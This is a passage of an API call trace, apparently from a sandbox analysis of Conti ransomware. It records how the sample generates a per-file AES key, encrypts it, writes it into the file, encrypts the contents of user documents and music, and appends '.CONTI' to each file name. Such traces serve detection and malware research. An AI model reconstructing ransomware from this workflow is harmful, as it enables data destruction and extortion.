	[0138.062] ReadFile (in: hFile=0x444, lpBuffer=0x9d90000, nNumberOfBytesToRead=0xc366, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0xc366, lpOverlapped=0x0) returned 1
	[0138.062] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0xc366, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0xc370) returned 1
	[0138.062] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.062] WriteFile (in: hFile=0x444, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0xc370, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0xc370, lpOverlapped=0x0) returned 1
	[0138.062] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.062] WriteFile (in: hFile=0x444, lpBuffer=0x6b49508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b49508*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0138.062] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.062] CloseHandle (hObject=0x444) returned 1
	[0138.062] GetProcessHeap () returned 0x1720000
	[0138.063] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.063] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\_C9OS3 ahpGXRPO.mp3" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\_C9OS3 ahpGXRPO.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\_C9OS3 ahpGXRPO.mp3"
	[0138.063] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\_C9OS3 ahpGXRPO.mp3", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\_C9OS3 ahpGXRPO.mp3.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\_C9OS3 ahpGXRPO.mp3.CONTI"
	[0138.063] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\_C9OS3 ahpGXRPO.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\_c9os3 ahpgxrpo.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\_C9OS3 ahpGXRPO.mp3.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\_c9os3 ahpgxrpo.mp3.conti")) returned 1
	[0138.063] GetProcessHeap () returned 0x1720000
	[0138.063] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.063] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0138.063] GetProcessHeap () returned 0x1720000
	[0138.063] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741220 | out: hHeap=0x1720000) returned 1
	[0138.063] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0138.063] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b2b8 | out: phKey=0x6b4b2b8*=0x6b7f438) returned 1
	[0138.063] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b2bc, pdwDataLen=0x3cffb14 | out: pbData=0x6b4b2bc*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0138.064] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\aXIB7JgRcvcn.docx" (normalized: "c:\\users\\fd1hvy\\documents\\axib7jgrcvcn.docx")) returned 0x20
	[0138.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\aXIB7JgRcvcn.docx" (normalized: "c:\\users\\fd1hvy\\documents\\axib7jgrcvcn.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0138.064] GetLastError () returned 0x0
	[0138.064] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=59841) returned 1
	[0138.065] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe9c1
	[0138.065] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.065] SetEndOfFile (hFile=0x444) returned 1
	[0138.065] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.065] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.065] WriteFile (in: hFile=0x444, lpBuffer=0x6b4b2bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b4b2bc*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0138.072] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.072] ReadFile (in: hFile=0x444, lpBuffer=0x9d90000, nNumberOfBytesToRead=0xe9c1, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0xe9c1, lpOverlapped=0x0) returned 1
	[0138.075] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0xe9c1, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0xe9d0) returned 1
	[0138.075] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.075] WriteFile (in: hFile=0x444, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0xe9d0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0xe9d0, lpOverlapped=0x0) returned 1
	[0138.075] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.075] WriteFile (in: hFile=0x444, lpBuffer=0x6b4b2b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b4b2b0*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0138.075] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.075] CloseHandle (hObject=0x444) returned 1
	[0138.081] GetProcessHeap () returned 0x1720000
	[0138.081] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.081] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Documents\\aXIB7JgRcvcn.docx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\aXIB7JgRcvcn.docx") returned="C:\\Users\\FD1HVy\\Documents\\aXIB7JgRcvcn.docx"
	[0138.081] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\aXIB7JgRcvcn.docx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\aXIB7JgRcvcn.docx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\aXIB7JgRcvcn.docx.CONTI"
	[0138.081] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\aXIB7JgRcvcn.docx" (normalized: "c:\\users\\fd1hvy\\documents\\axib7jgrcvcn.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\aXIB7JgRcvcn.docx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\axib7jgrcvcn.docx.conti")) returned 1
	[0138.082] GetProcessHeap () returned 0x1720000
	[0138.082] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.082] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0138.082] GetProcessHeap () returned 0x1720000
	[0138.082] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741280 | out: hHeap=0x1720000) returned 1
	[0138.082] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0139.132] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b50bb0 | out: phKey=0x6b50bb0*=0x6b7f3b8) returned 1
	[0139.132] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50bb4, pdwDataLen=0x3cffb14 | out: pbData=0x6b50bb4*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0141.217] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb")) returned 0x20
	[0141.217] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0141.217] GetLastError () returned 0x0
	[0141.217] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=348160) returned 1
	[0141.217] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x55000
	[0141.217] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.217] SetEndOfFile (hFile=0x440) returned 1
	[0141.217] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.217] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.218] WriteFile (in: hFile=0x440, lpBuffer=0x6b50bb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b50bb4*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0141.219] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.219] ReadFile (in: hFile=0x440, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x55000, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x55000, lpOverlapped=0x0) returned 1
	[0141.238] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x55000, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x55010) returned 1
	[0141.239] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.239] WriteFile (in: hFile=0x440, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x55010, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x55010, lpOverlapped=0x0) returned 1
	[0141.240] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.240] WriteFile (in: hFile=0x440, lpBuffer=0x6b50ba8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b50ba8*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0141.240] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.240] CloseHandle (hObject=0x440) returned 1
	[0141.240] GetProcessHeap () returned 0x1720000
	[0141.240] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.240] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\Database1.accdb") returned="C:\\Users\\FD1HVy\\Documents\\Database1.accdb"
	[0141.240] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\Database1.accdb", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.CONTI"
	[0141.240] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb.conti")) returned 1
	[0141.242] GetProcessHeap () returned 0x1720000
	[0141.242] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.242] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0141.242] GetProcessHeap () returned 0x1720000
	[0141.242] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741220 | out: hHeap=0x1720000) returned 1
	[0141.242] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0141.242] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b4c988 | out: phKey=0x6b4c988*=0x6b7f3b8) returned 1
	[0141.242] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4c98c, pdwDataLen=0x3cffb14 | out: pbData=0x6b4c98c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0141.243] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\s8m1I6cS6bP_ERMEqKw.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\s8m1i6cs6bp_ermeqkw.mp3")) returned 0x20
	[0141.243] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\s8m1I6cS6bP_ERMEqKw.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\s8m1i6cs6bp_ermeqkw.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0141.243] GetLastError () returned 0x0
	[0141.243] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=87192) returned 1
	[0141.243] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x15498
	[0141.243] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.243] SetEndOfFile (hFile=0x440) returned 1
	[0141.243] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.244] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.244] WriteFile (in: hFile=0x440, lpBuffer=0x6b4c98c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b4c98c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0141.247] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.247] ReadFile (in: hFile=0x440, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x15498, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x15498, lpOverlapped=0x0) returned 1
	[0141.252] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x15498, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x154a0) returned 1
	[0141.252] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.252] WriteFile (in: hFile=0x440, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x154a0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x154a0, lpOverlapped=0x0) returned 1
	[0141.252] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.252] WriteFile (in: hFile=0x440, lpBuffer=0x6b4c980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b4c980*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0141.252] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.252] CloseHandle (hObject=0x440) returned 1
	[0141.252] GetProcessHeap () returned 0x1720000
	[0141.252] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.252] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\s8m1I6cS6bP_ERMEqKw.mp3" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\s8m1I6cS6bP_ERMEqKw.mp3") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\s8m1I6cS6bP_ERMEqKw.mp3"
	[0141.252] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\s8m1I6cS6bP_ERMEqKw.mp3", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\s8m1I6cS6bP_ERMEqKw.mp3.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\s8m1I6cS6bP_ERMEqKw.mp3.CONTI"
	[0141.253] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\s8m1I6cS6bP_ERMEqKw.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\s8m1i6cs6bp_ermeqkw.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\ujzzSZ6Ri\\s8m1I6cS6bP_ERMEqKw.mp3.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\ujzzsz6ri\\s8m1i6cs6bp_ermeqkw.mp3.conti")) returned 1
	[0141.253] GetProcessHeap () returned 0x1720000
	[0141.253] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.253] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0141.253] GetProcessHeap () returned 0x1720000
	[0141.253] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6895638 | out: hHeap=0x1720000) returned 1
	[0141.253] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0141.253] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b500 | out: phKey=0x6b4b500*=0x6b7f3b8) returned 1
	[0141.253] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b504, pdwDataLen=0x3cffb14 | out: pbData=0x6b4b504*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0141.254] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\_IZtqK0.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\_iztqk0.mp3")) returned 0x20
	[0141.254] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\_IZtqK0.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\_iztqk0.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0141.254] GetLastError () returned 0x0
	[0141.254] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=87695) returned 1
	[0141.254] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1568f
	[0141.254] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.255] SetEndOfFile (hFile=0x440) returned 1
	[0141.255] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.255] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.255] WriteFile (in: hFile=0x440, lpBuffer=0x6b4b504*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b4b504*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0141.261] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.261] ReadFile (in: hFile=0x440, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x1568f, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x1568f, lpOverlapped=0x0) returned 1
	[0141.262] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x1568f, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x15690) returned 1
	[0141.262] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.262] WriteFile (in: hFile=0x440, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x15690, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x15690, lpOverlapped=0x0) returned 1
	[0141.263] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.263] WriteFile (in: hFile=0x440, lpBuffer=0x6b4b4f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b4b4f8*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0141.263] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.263] CloseHandle (hObject=0x440) returned 1
	[0141.263] GetProcessHeap () returned 0x1720000
	[0141.263] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.263] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\_IZtqK0.mp3" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\_IZtqK0.mp3") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\_IZtqK0.mp3"
	[0141.263] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\_IZtqK0.mp3", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\_IZtqK0.mp3.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\_IZtqK0.mp3.CONTI"
	[0141.263] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\_IZtqK0.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\_iztqk0.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\_IZtqK0.mp3.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\_iztqk0.mp3.conti")) returned 1
	[0141.264] GetProcessHeap () returned 0x1720000
	[0141.264] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.264] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0141.264] GetProcessHeap () returned 0x1720000
